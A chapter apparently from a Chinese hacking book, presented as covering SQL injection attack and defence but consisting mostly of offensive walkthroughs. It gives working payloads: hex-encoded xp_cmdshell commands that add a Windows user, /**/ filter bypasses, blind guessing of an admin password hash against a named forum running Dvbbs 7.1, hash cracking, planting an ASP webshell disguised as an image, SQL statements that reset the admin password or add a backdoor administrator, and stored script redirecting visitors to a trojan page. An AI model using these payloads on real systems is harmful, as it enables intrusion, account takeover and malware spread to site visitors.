第3章 深入SQL注入攻击与防范
SQL注入攻击是一把入侵网站的利刃,无数的网站在SQL注入面前纷纷倒下。随着SQL注入技术的发展,SQL注入技术越来越巧妙,各种灵巧的SQL注入攻击方式不断地涌现。同时,面对SQL注入攻击这把无坚不摧的利刃,又该如何进行防范,如何打造足以抵抗SQL注入的坚盾呢?
3.1 一厢情愿的过滤,缺失单引号与空格的注入
在上一章的SQL脚本注入攻击中,大部分的SQL注入语句中都是少不了单引号的,尤其是在字符型注入中,单引号起着至关重要的作用。因此,针对SQL注入的几种ASP安全编码防范方式,一种简单而有效的方法就是单引号过滤法,将用户输入提交的数据进行检验,过滤其中的单引号。
通常这类过滤,是使用replace函数,通过类似的过滤语句:
replace(request("id"), "' ", "' ' ")
可将单引号转成两个单引号进行过滤,以致使用户提交的数据在进行SQL语句查询时出现语法错误。另外,也可以通过如下语句:
replace(request("id"), "' ", "")
直接将单引号过滤为空格,对用户输入提交数据进行严格限制。
另外,由于构造SQL注入语句时,其中往往包含有空格,因此许多程序设计者也会考虑过滤掉用户输入中的空格,如下面的过滤语句:
replace(request("id"), " ", "")
这条语句可以消去用户提交数据中的所有空格,过滤掉危险的SQL注入语句。
上面的这几种防御方法,可以导致正常的SQL注入失败,然而程序设计者的考虑还是不周全的,这只是一个并不安全的注入半防御方法。
如果提交的参量两边并没有被单引号封死,而仅依靠过滤用户数据的单引号来防御SQL注入的话,那么恶意用户很可能非法提交一些特殊的编码字符,在提交时绕过网页程序的字符过滤。这些编码字符在经过网站服务器的二次编码后,就会重新生成转换成为单引号或空格之类的字符,构成合法的SQL注入语句,完成攻击。
3.1.1 转换编码,绕过程序过滤
这里,在使用SQL脚本注入检测一个网站,网站链接为:http://www.****. com.cn/getpass.asp? id=2,使用单引号法进行检测时,提交链接:
http://www.****.com.cn/getpass.asp? id=2'
出现了如下所示的提示错误信息(见图1):
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14' …………字符串 ’' ' ’ 之前有未闭合的引号。…………
图1 单引号被网页程序替换成两个单引号
从返回信息可知,网页程序对单引号进行了过滤,替换成两个单引号,因此导致返回错误信息中出现了双单引号。
1.神奇的declare与OX6e编码
如果利用SQL的xp_cmdshell在远程主机上执行命令时,语句将不能正常执行。如提交如下语句:
http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_ cmdshell ' net user xiaoyao /add'
将会被转换成如下错误语句:
http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_ cmdshell ' ' net user xiaoyao /add' '
在执行xp_cmdshell命令时肯定是会出错的。
现在,来尝试提交如下攻击语句:
http://www.****.com.cn/getpass.asp? id=2; declare%20@a%20sysnam e%20select%20@a=0x6e006500740020007500730065007200200061006e00 670065006c002000700061007300730020002f00610064006400%20exec%2 0master.dbo.xp_cmdshell%20@a; --
网址提交后,却没有返回错误信息,因为在提交的SQL脚本注入语句中,并没有包含任何单引号,因此就可以绕过单引号的过滤,成功地注入。
其实,这个奇怪的语句与上面的语句就是同一个语句,只不过进行了编码转换而已。表面上看起来两个注入语句有很大的区别,但实质却是完全一样的。
在第二个语句中“a=0x6e0065007400200075007300……”,参数a后面的数字实际上是“net user xiaoyao /add”的16进制格式编码。整个SQL语句是先声明一个变量a,变量a可以是任何执行的Windows命令。然后把添加用户的指令赋值给a,再通过调用变量a最终执行前面执行的命令。
整条语句其实可以拆分为下面3个单句:
declare @a sysname select @a=<要执行的命令十六进制代码> exec master.dbo.xp_cmdshell @a
由于SQL数据库具有可执行多句的特殊性,因此将3个语句组合后,就可以直接在注入点后进行提交了。因此,这种SQL脚本入侵技术,也仅限于使用SQL数据库的注入点。
2.SQLInjectEncode二次编码工具
有时候,网站程序的安全过滤非常严格,使用上面的Declare语句变形注入代码后,依然不能成功。出现这种情况是因为网站程序对Declare等字符也进行了过滤,此时就要考虑进行二次编码转换了。
SQLInjectEncode(图2)是一个SQL脚本注入攻击工具,它可以自动地为用户的SQL注入语句进行二次编码合成,以避开网页程序的单引号和空格过滤等,成功地注入网站程序。它利用的原理就是上面通过Declare声明变量和0X6e编码组合的方法,绕开单引号过滤进入注入攻击。
图2 SQLInjectEncode
另外,SQLInjectEncode注入工具可以替用户自动地完成上面的语句转换过程,同时还可以对上面语句中的declare等进行编码转换,躲过一些对“declare”也进行了过滤的网页程序。
以对某SQL注入点进行攻击检测为例,该网站对单引号进行了过滤,注入的地址是:
http://www.****.com.cn/news_view.asp? id=90164
运行SQLInjectEncode后,在界面上方是“原始地址URL”,在这里输入要注入的地址(图3)。假设要执行的命令是:
exec master.dbo.xp_cmdshell ' net user xiaoyao /add'
图3 设置转换攻击参数
将要执行的命令输入下面的“SQL代码”框中(图3)。另外,程序允许多行编辑,如果要执行多条SQL语句,可以在本地SQL服务器的客户端程序“SQL查询中”测试多行语句,通过后直接复制SQL代码粘贴到工具中,程序在编码的过程中会自动消去换行符号。
在输入的URL地址下方有几个选项,这也注入成功与否有着非常关键的联系。
其中“需要单引号”复选框,主要用来设置完善SQL注入语句。有的网页程序在注入时,需要在参数变量后加入一个单引号,以显示注入后的反馈信息。此类注入点在进行and 1=1测试时,如果提交测试为:
http://www.****.com.cn/news_view.asp? id=90164 and 1=1
不能成功,而提交测试形式为:
http://www.****.com.cn/news_view.asp? id=90164' and '1' =1
能够返回正常信息,则说明属于“需要单引号”的类型,那么就必须勾选此复选框。
“需要--或/*收尾”复选框只是用来选择隔断符的,在SQL注入代码的最后加入收尾隔断符,以屏蔽脚本后面的代码,这样可以保证SQL注入代码语句的完整正常。通常一般采用“--”收尾。
“/**/代替空格”复选框表示,将所有的空格都用“/**/”注释来代替,主要用于前面所提及的情况中,网页程序将空格过滤后,就可选择该项。勾选“自动放入剪贴板”复选框后,生成的注入语句会自动剪贴板中,以方便粘贴到浏览器地址栏中执行。
设置完毕后单击【编码】按钮,软件便会将代码自动合成为十六进制代码,在“合成后的URL”框中显示并自动复制入剪贴板中(图4)。
图4 转换编码成功
如下面的注入语句,在经过转换后,其提交的编码网址如下:
http://www.****.com.cn/news_view.asp? id=90164%20%64%65%63%6 C%61%72%65%20%40%5A%20%76%61%72%63%68%61%72%28%38%30%30%30%2 9%20%73%65%74%20%40%5A%3D%30%78%36%35%37%38%36%35%36%33%32%3 0%36%44%36%31%37%33%37%34%36%35%37%32%32%45%36%34%36%32%36%4 6%32%45%37%38%37%30%35%46%36%33%36%44%36%34%37%33%36%38%36%3 5%36%43%36%43%32%30%32%37%36%45%36%35%37%34%32%30%37%35%37%3 3%36%35%37%32%32%30%37%38%36%39%36%31%36%46%37%39%36%31%36%4 6%32%30%32%46%36%31%36%34%36%34%32%37%20%65%78%65%63%75%74%6 5%28%40%5a%29%2d%2d
可以看合成后的SQL注入指令,与前面的略有不同,这是由于程序对“declare”等字符也进行了重编码,以更安全可靠地躲过网页程序的过滤。
直接提交上面的注入代码,回车后,就可以看到原本过滤了单引号的网站程序,现在已经顺利地执行了SQL注入语句了。
3.1.2 /**/替换空格的注入攻击
千里之堤毁于蚁穴,一些不被人注意的小插件、小功能,常常也导致坚固的论坛变得不堪一击。动网7.1版本就曾因为集成的博客功能出现过一次SQL注入漏洞,导致攻击者攻击控制整个服务器,危害十分严重。
动网7.1SP1版的功能十分强大,安全性也非常好。由于网络上博客非常流行,出于功能完备,动网7.1SP1中也新开发出了一个博客功能的插件。博客的界面做得很清新朴实,功能非常不错,但是它的安全性却不是很好。在博客程序的“Cls_main.asp”文件中,由于对参数“Arvchivelink”过滤得不是很好,导致“boke.asp”文件在调用时存在着注入漏洞。恶意的攻击者可以利用该漏洞入侵论坛,并控制整个服务器。
1.漏洞代码分析
打开动网7.1SP1版博客程序网页文件“boke.asp”,可以看到显示博客频道文件的代码如下:
Function ShowDispList(TopicID, Page) Dim PageHtml, TempHtml, Temp Dim Rs, Sql, SqlStr Dim MaxRows, Endpage, CountNum, PageSearch Endpage = 0 MaxRows = DvBoke.BokeSetting(8) 'Page = Request("Page") If IsNumeric(Page) = 0 or Page="" Then Page=1 Page = Clng(Page) 'If Ubound(DvBoke.ArchiveLink) = 4 Then ' SqlStr = DvBoke.CheckNumeric(Replace(Lcase(DvBoke.Archive Link(3)), ".html", "")) ' SqlStr = " And (ParentID = 0 Or PostID = " & SqlStr & ")" 'End If 'PostID=0 , CatID=1 , sCatID=2 , ParentID=3 , RootID=4 , UserID=5 , UserName=6 , Title=7 , Content=8 , JoinTime=9 , IP=10 , sType=11 Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post] Where RootID="&TopicID&" "&SqlStr&" order by PostID " …………代码省略……………… End Function
可以看到其中有一个非常重要的参数变量“ArchiveLink(3)”,该参数是用于传递收藏链接的,被代入了下面的语句中进行查询(见图5):
Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post] Where RootID="&TopicID&" "&SqlStr&" order by PostID "
图5 ArchiveLink参数被代入SQL查询
ArchiveLink参数是通过“boke”目录下的“Cls_Main.asp”文件函数传递的,在该文件中可以看到如下参数传递代码:
Private Sub Class_Initialize() ……………………代码省略……………………………… 'Skins_Path = "Boke/Skins/default/" Cache_Path = "Boke/CacheFile/" Dim Tmpstr Tmpstr = Request.ServerVariables("PATH_INFO") Tmpstr = Split(Tmpstr, "/") ScriptName = Lcase(Tmpstr(UBound(Tmpstr))) UserSex = 1 If Is_Isapi_Rewrite = 0 Then ModHtmlLinked = "? " ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING")) If ArchiveLink <> "" Then ArchiveLink = Split(ArchiveLink, ".") If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName = Replace(ArchiveLink(0), ".html", "") Else ReDim ArchiveLink(5) End If If Lcase(InStr(Request.ServerVariables("QUERY_STRING"), ". html")) = 0 And Lcase(InStr(Request.ServerVariables("QUERY _STRING"), ".xml")) = 0 Then BokeName = Checkstr(Request("User ")) Set MyBoardOnline=new Cls_UserOnlne Dvbbs.GetForum_Setting Dvbbs.CheckUserLogin ……………………代码省略……………………………… If Instr(Lcase(ArchiveLink(0)), "userid_") and IsNumeric (Replace(Lcase(ArchiveLink(0)), "userid_", "")) Then
BokeUserID = cCur(Replace(Lcase(ArchiveLink(0)), "userid _", "")) BokeName = "" ……………………代码省略……………………………… End Sub
这段代码是用于定义了一个Class_Initialize()过程,用于获取博客的分栏类型等。在其中可以看到一个很重要的参数“ArchiveLink”,该参数是用来传递收藏链接的,此参数的获取代码为如下语句(图6):
ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING")) If ArchiveLink <> "" Then ArchiveLink = Split(ArchiveLink, ".") If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName = Replace(ArchiveLink(0), ".html", "") Else ReDim ArchiveLink(5) End If
图6 ArchiveLink变量代码
从上面的代码中可以知道,ArchiveLink中可提取出BokeName的值。很显然,ArchiveLink变量并没有经过严格的过滤,就被传递带入了Boke.asp文件中,因此也给BokieName带来了危险。因为,在图6页面下面205行处,可以看到如下代码段:
Dim Sql, Rs Sql = "Select UserID, UserName, NickName, BokeName, Pass Word, BokeTitle, BokeChildTitle, BokeNote, JoinBokeTime, PageView, TopicNum, FavNum, PhotoNum, PostNum, TodayNum, Trackbacks, SpaceSize, XmlData, SysCatID, BokeSetting, LastUpTime, SkinID, Stats, S.S_ SkinName, S.S_Path, S.S_ViewPic, S.S_Info, S.S_Builder From [Dv_Boke_
User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID" Sql = Lcase(Sql) If BokeName<>"" Then Sql = Sql & " where BokeName = ' "&BokeName&"' " ElseIf BokeUserID>0 Then Sql = Sql & " where UserID = "&BokeUserID Else '请选取相关的DVBOKE,返回综合列表 Exit Sub End If
可知,BokieName被直接带入了SQL查询语句中(图7), BokieName变量没有经过任何过滤,而BokieName本身又是从ArchiveLink传递而来的,因此造成了SQL注入漏洞。
图7 BokieName参数直接进行SQL查询
2.出错信息判断数据库类型
动网7.1SP1有两个版本:Access版和SQL版,这两个版本中都存在着博客插件,同时存在着这个博客注入漏洞,危害十分大。
打开百度或Google搜索引擎,在其中输入关键词“Powered By Dvbbs Version 7.1.0 Sp1”进行搜索,可以找到大量使用动网7.1SP1版本的论坛。不过打开搜索到的论坛页面时,若未注册登录,则看不到首页上的“博客”插件(图8),可以在论坛网址后加上“boke.asp”测试博客功能是否开放。
图8 博客插件无法直接查看
以某论坛为例(http://www.binghexijian.com.cn/),将地址栏中的地址改为:
http://www.binghexijian.com.cn/boke.asp
如果弹出错误提示信息,则说明该论坛是存在博客网页(图9)。
“该博客用户不存在或填写的资料有误!您可以 申请博客 或 登录论坛”
图9 漏洞文件存在
另外,由于现在许多网站管理员的安全意识有所提高了,可能会将动网论坛首页的版权标识修改掉,无法搜索到这样的论坛,因此也可以通过关键词“Power by iBoker V1.0.0”进行搜索,可以直接找到论坛的博客页面。
一般来说,如果是SQL版的动网7.1论坛,在页面下方的版权信息中会显示“Powered By Dvbbs Version 7.1.0 Sp1 SQL版”的提示。另外,Access版和SQL版的区别,可以查看管理员登录首页,上面有数据库版本的标识(图10)。
图10 登录页面
也可以打开论坛的博客页面,单击打开任意一个用户的博客首页,通过注入返回的提示信息进行判断。
这里以某论坛“http://www.binghexijian.com.cn/”为例,进行入侵测试。打开论坛博客列表:
http://www.binghexijian.com.cn/bokeindex.asp? show_user.html
显示当前所有的博客信息(图11)。单击任意打开其中某个名为“冰河洗剑的博客”,其链接为:
http://www.binghexijian.com.cn/boke.asp? binghexijian.index. html
图11 博客用户列表
将IE浏览器地址栏中的链接改为:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1 '='1.index.html
回车后如果返回的错误提示信息是:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14'
则说明该论坛是SQL版的(图12);如果返回的信息为“Microsoft JET Database Engine错误 ’80040e14' ”则为Access版(图13)。
图12 SQL版返回信息
图13 Access版返回信息
3.强行破解管理员密码
获得数据库类型后,就可以开始进行SQL注入检测了。这里先以Access版数据库攻击检测为例。
1)获取管理员用户名
首先,在攻击前需要确定论坛的管理员用户名。
未注册的用户可以查看到论坛各版区的版主,但是却不知道哪个是管理员。因此需要先在攻击目标论坛注册一个用户名并登录,然后单击页面中的“用户列表”,打开用户列表页面后,在用户搜索中将搜索范围设置为“管理团队”,这样就可以看到论坛管理员用户名了(图14)。例如,这里可以看到管理员用户名为“admin”。
图14 获取管理员用户名
另外,直接进入到论坛的博客页面,单击页面中的“博客索引”(图15):
http://www.binghexijian.com.cn/bokeindex.asp? show_user.html
图15 管理员的博客
随后显示当前所有的博客信息,在其中找到最早注册的博客,如这里“创建时间”最早的博客名字为“木木,一个人的世界”,单击后在打开的新窗口中可以看到博客链接为如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian.index.html
链接中“index.html”前的“binghexijian”就是管理员用户名了。
2)猜解密码
在前面检测数据库类型时,提交了一个检测语句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1 '='1.index.html
返回了语法错误的信息,很显然利用了前面分析的漏洞所以返回了错误信息。这里采用正常的方式and 1=1和and 1=2方式来进行检测,先提交如下链接:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = '1.html
请注意,这里与上面不同,SQL语句中没有空格。可以看到语句提交后,正常地返回了用户的博客页面(图16)。
图16 and 1=1
再提交如下语句进行检测:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = '2.html
返回信息出错,自动跳转到了错误信息页面(图17)。
图17 and 1=2
从上面两个页面对比判断,可知此处存在着明显的SQL注入漏洞。通过构造SQL注入语句,是可以猜解出管理员用户密码的。最简单的方法,就是提交如下语句进行查询:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'0' = left(password,1)and' ' =' .html
该语句可直接查询管理员用户密码(password)中的第一位密码是否为“0”,返回了错误信息。因此继续进行猜测,提交如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = left(password,1)and' ' =' .html
该语句可直接查询管理员用户密码(password)中的第一位密码是否为“1”,也返回了错误信息,继续更改密码,提交:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'2' = left(password,1)and' ' =' .html http://www.binghexijian.com.cn/boke.asp? binghexijian' and'3' = left(password,1)and' ' =' .html
直接到提交如下链接,打开页面见图18:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'4' = left(password,1)and' ' =' .html
图18 猜解出第1位密码字符为4
然后返回了正常的页面,说明用户密码第一位为“4”。再继续猜第2位密码字符,提交语句如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'40'
=left(password,2)and' ' =' .html
该语句用于查询密码的前两位是否为“40”,返回了错误页面,因此注意,这里要保留第1位字符在查询字段中。然后将“40”改为“41”、“42”、“43”,继续进行提交,直到返回正常页面。这里提交到“46”,链接如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'46' =left(password,2)and' ' =' .html
返回了正常的页面,说明第二位字符为“6”。再继续提交查询第三位密码,查询链接为:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'460 '=left(password,4)and' ' =' .html
同样,修改提交的数字“460”为“461”、“462”……,但是一直提交到“469”,返回正常的页面,说明第三位字符为“9”。再继续提交查询第四位密码,查询链接为:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 0' =left(password,4)and' ' =' .html
同样,修改提交的数字“4690”为“4691”、“4692”……,但是一直提交到“4699”,也没有返回正常信息,则说明第四位字符不是数字,而是字母(图19)。因此修改提交链接:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 a' =left(password,4)and' ' =' .html
此链接猜测第四位字符是否为字母“a”,修改“469a”为“469b”、“469c”、“469d”……一直到返回正常信息,即可确定第四位字符是哪一个字母。这里提交到:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 e' =left(password,4)and' ' =' .html
返回了正常的页面,说明第四位字符为“e”。用同样的方法继续进行猜解第五位字符、第六位字符,直到第16位字符方可终止。因为密码是经过16位MD5加密的,所以必须猜解到16位字符。
图19 第4位字符为字母e
不过Access注入时手工猜解密码非常慢,这里借助一个自动攻击工具进行检测演示。
运行动网论坛7.1博客程序注入漏洞利用工具“dv_boke.exe”,在“地址”框中输入论坛博客程序的漏洞文件,一般为“http://论坛地址/booke.asp”,这里为“http://www.binghexijian.com.cn/boke.asp”;在下面的“用户名”中输入管理员的博客用户名,注意,不是输入管理员用户名。例如,这里管理员用户名为“admin”,其博客用户名为“binghexijian”,那么需要输入的是“binghexijian”(图20)。
图20 动网论坛7.1博客程序注入漏洞利用工具
设置完毕后,单击【开始】按钮,弹出信息提示框“尝试获取密码,请耐心等待”。单击【确定】按钮后,程序就会开始自动破解管理员的密码了(图21)。过几分钟后,在下方的“结果”中就会显示出该管理员的用户密码了。
图21 管理员用户密码破解过程中
3)破解用户密码明文
破解得到的用户密码“469e80d32c0559f8”(图22),是经过16位MD5算法加密的,因此需要进行破解还原为密码明文。MD5加密方式采用了一种很复杂的加密算法,还原MD5密码比较困难,可以使用一些专门的MD5密码破解工具,如“Dv.exe”、“MD59”等。
图22 管理员MD5密码
(1)小巧强悍的DV
dv这个小工具可以在几秒之内就破解出8位数以内的纯字母和数字。工具运行在命令模式下,使用方法很简单,输入“dv.exe /? ”可以看到命令的运行格式(图23):
dv -p <pwfile> -w <wordlist>— -b -o <outfile>
其中各参数的代表意义如下:
-p <pwfile> 指定从此文件读取md5的散列和用户名; -w <wordlist> 表未从此文件读取字典来破解; -o <outfile> 用于指定存放最后得到的密码和用户名的文件名; -b [num]—[char]暴力破解,num代表8位数字破解,char代表8位字符破解。
图23 DV破解工具
记事本创建一个名为“passfile.txt”的文本文件,按文件格式为“MD5密码 用户名”,将管理员用户名和密码粘贴在其中。再准备一个字典文件“password.txt”,在窗口中执行如下命令:
dv -p passfile.txt -w password.txt -o c:\final.txt
命令执行后,如果顺利,不出5分钟,被破译还原出来的明文密码就将保存在“c:\final.txt”文件中。
(2)强力暴力破解密码
相对DV的破解速度,MD59显得要慢一些,但是它可以破解包括字母、数字、特殊字符的各种混合密码,比DV的功能要全得多。
运行程序后,在“加密密码”中输入要要破解的加密密文“469e80d32c0559f8”。然后单击【字典还原】按钮,首先使用自带的字典进行破解,如果找不到正确密码就会打开暴力破解程序(图24)。
在“密码选项”中勾选“穷举模式”,并设置要破解密码位数及密码中包含的字符类型,可设置为纯数字或纯字符破解,也可以设置成混合字符破解,单击【开始】按钮即可开始暴力破解密码。如果勾选“字典模式”,并选择相应的字典文件后,可以使用字典方式进行破解。
(3)网站破解
网上有一些专门用于破解MD5密码的网站,这些网站收集了大量的MD5密码散列,如果密文包含在收集的散列数据库中的话,很快就可以还原出密码明文。
图24 MD5暴力破解程序
以XMD5网站(“http://xmd5.org/index_en.htm”)为例,在中间的输入框中粘贴入刚才的16位密文,单击【query】按钮,很快就可以得到查询结果了(图25)。
图25 在线破解MD5密码很快速
4)登录后台上传ASP木马
如果成功地破解了管理员的密码后,就可以登录网站后台上传ASP木马了。
上传方法很简单,首先在前台发一张帖子,在帖子内容中选择上传图片。需要准备一个ASP木马后门程序,这里使用的是“桂林老兵asp站长助手6.0”,将程序文件“dbm6.asp”改名为图片格式“dbm6.jpg”,然后在帖子中进行上传(图26)。
图26 上传ASP木马
上传成功后,在帖子内容输入框中会显示上传后的图片路径及文件名,这里为“UploadFile/2006-4/200641220164989411.jpg”。
用管理员身份登录后,单击论坛页面中的“管理”链接,进入后台管理页面。在左侧边栏中单击“数据处理”→“恢复数据库”,在右侧页面中就可以通过数据库恢复功能将图片文件还原成ASP木马了。
首先在“备份数据库路径”中输入刚才上传的假图片的地址,这里因为是相对路径,所以为“../UploadFile/2006-4/200641220164989411.jpg”;在“目标数据库路径”中输入要生成的ASP木马文件名,注意后缀一定要为.asp,这里是“../Databackup/dbm6.asp”(图27)。
图27 设置数据库恢复信息
设置完毕后,单击【确定】按钮完成数据库备份操作,生成了一个ASP木马了,路径为“http://www.binghexijian.com.cn/Databackup/dbm6.asp”。
在IE浏览器地址栏中输入ASP木马地址,打开后就可以得到一个Webshell,如果权限足够的话,就可以进一步控制整个网站服务器了。
4.Update更新管理员密码
对于SQL版的动网漏洞论坛,借助SQL数据库的强大功能,进行注入攻击是非常简单的方法。当然,也可以用与Access相同的方法直接进行猜解,但在这里,使用SQL查询中的Update语句进行管理员密码显示和修改。
首先,在论坛注册一个用户名为“xiaoyao”的用户,注册时记住输入自己的Email地址信息为“test@test.com”。注册成功后,打开用户资料设置页面,可查看到Email等注册信息。这里可以看到Email地址信息显示为“test@test.com”(图28)。
图28 注册时的Email信息
现在我们的目的是将管理员的密码显示在xiaoyao用户的Email地址信息中,因此构造如下查询语句:
Update Dv_User set UserEmail=(select Password from Dv_admin where Username=' admin' ) where UserName=' xiaoyao'
但是,由于程序中已经过滤了用户提交数据中的空格,因此上面的语句去掉空格后是无法执行的,需要进行转换。在这里,可使用/**/代替空格进行查询。语句可转换为如下:
update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/ **/Dv_admin/**/where[Username]=' admin' )/**/where[UserName]= 'xiaoyao'
因此,现在打开另一个IE窗口,在其中提交如下语句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Update Dv_User set UserEmail=(select Password from Dv_admin where U sername=' admin' ) where UserName=' xiaoyao' ; --.index.html
该语句的作用是,将用户表“Dv_User”中用户名为“xiaoyao”的“UserEmail”数据更新,其更新值为用户表“Dv_User”中用户名为“admin”的密码。也就是说,用户名为“xiaoyao”的Email信息被改成了“admin”用户的密码。在这里“admin”是管理员的用户名,可根据具体入侵检测时的论坛管理员用户名进行修改。
提交上面的语句后,返回信息正常,现在刷新刚才的注册用户联系资料页面,可以看到Email地址信息发生了变化。现在Email地址信息中显示了字符串“469e80d32c0559f8”。
图29 查询返回管理员密码
另外,动网版本不一样,上面的语句有可能会因为含有单引号而被过滤出错,因此可参照前面提到的方法进行二次编码转换。要执行的语句:
Update Dv_User set UserEmail=(select Password from Dv_admin where Username=' admin' ) where UserName=' xiaoyao'
可以转换成为如下语句:
DECLARE @S VARCHAR(4000); SET @S=CAST(0x5570646174652044765F5 5736572207365742055736572456D61696C3D2873656C656374205061737 3776F72642066726F6D2044765F61646D696E20776865726520557365726 E616D653D2761646D696E272920776865726520557365724E616D653D277 869616F79616F270D0A AS VARCHAR(4000)); EXEC(@S); --
再用/**/代替其中的空格,就变为了:
DECLARE/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465 2044765F55736572207365742055736572456D61696C3D2873656C656374
2050617373776F72642066726F6D2044765F61646D696E2077686572652055 7365726E616D653D2761646D696E272920776865726520557365724E616D65 3D277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --
于是,提交如下语句即可:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; DECLAR E/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465204476 5F55736572207365742055736572456D61696C3D2873656C656374205061 7373776F72642066726F6D2044765F61646D696E20776865726520557365 726E616D653D2761646D696E272920776865726520557365724E616D653D 277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --
查询到管理员的密码后,就可对管理员的密码进行破解。不过破解也同样是很麻烦的,这里可使用SQL查询直接更新管理员的密码。修改管理员密码的语句如下:
Update Dv_User set UserPassword='49ba59abbe56e057' where User Name=' admin'
该语句可将管理员密码修改为“49ba59abbe56e057”,也就是123456的MD5加密密文。同样需要加入“/**/”躲过空格的过滤:
Update/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' / **/where/**/UserName=' admin'
因此提交如下语句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Updat e/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' /**/where /**/UserName=' admin' ; --
即可将管理员admin的用户名修改为“123456”了。
另外,也可以直接提升自己的权限,如提升权限的SQL语句为:
update [Dv_User] set UserGroupID=1 where username=' xiaoyao'
用同样的方法转换提交后,即可将用户xiaoyao提升为前台管理员。提升为后台管理员的命令为:
insert into dv_admin (username, [password], flag, adduser) values (' xiaoyao' , '49ba59abbe56e057' , '1,2,3,4,5,6,7,8,9,10,11,12,1
3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3 3,34,35,36,37' , ' Andyower' )
命令执行后,即可在dv_admin表中添加一条新记录,用户名xiaoyao即可被添加到后台管理员用户列表中了,后台登录密码是“123456”。
5.注入与跨站组合攻击
另外,也可以直接运行“动网论坛7.1博客程序注入漏洞利用工具SQL版”,直接破解管理员的密码,方法与Access版是一样的。
可以看到,在SQL版漏洞利用工具下方有一个“SQL语句”的输入框,在其中可以输入SQL语句并执行,比如可以通过SQL语句读取注册中保存的网站路径,并可用数据库备份的方式在服务器中写入一个Webshell。这里简单地讲一讲如何进行跨站攻击。
首先,需要准备一个木马网页,这个网页木马可以用来盗QQ号,也可以直接种植远程控制木马,这里为了清楚地演示攻击利用过程,就假设“www.sina.com.cn”为一个木马网页。在“SQL语句”输入框中输入如下语句(图30):
update dv_boke_user set BokeTitle=BokeTitle+' <script>window. open("www.baidu.com"); </script>' where username=' admin'
图30 插入跨站攻击代码
整条语句表示,更新用户名为“admin”的博客网页标题,标题的内容是一条ASP语句,可以弹出一个IE窗口。其中“<script>windows.open(' ' www.baidu.com' ' )</script>”语句是用来弹出一个IE窗口的,实际使用中可以将“http://www.baidu.com”更换为网页木马地址。用户名“xiaoyao”可以换成任意想要更改标题的博客用户名。
将SQL语句执行后,会弹出提示,确认后,再次打开目标论坛中管理员“admin”的博客页面时,会自动弹出一个新窗口,这个新窗口中显示的页面就是百度网页;如果将代码中的百度链接地址换成网页木马地址,那么弹出的新窗口将会是这个木马网页。只要有人浏览管理员的博客,就会被木马攻击。
不过,由于在Windows SP2中IE浏览器会自动弹截弹出窗口,因此也可以用其他的代码进行跨站,如可将代码改为
update dv_boke_user set BokeTitle=BokeTitle+' <script>window. location.href("http://www.sina.com.cn"); </script>' where bokename=' xiaoyao' ;
这里使用的是“window.location.href()”函数,代码的效果是当有用户打开此博客时,会自动转向到木马网页,不用弹出一个新窗口,因此成功的机率会高许多。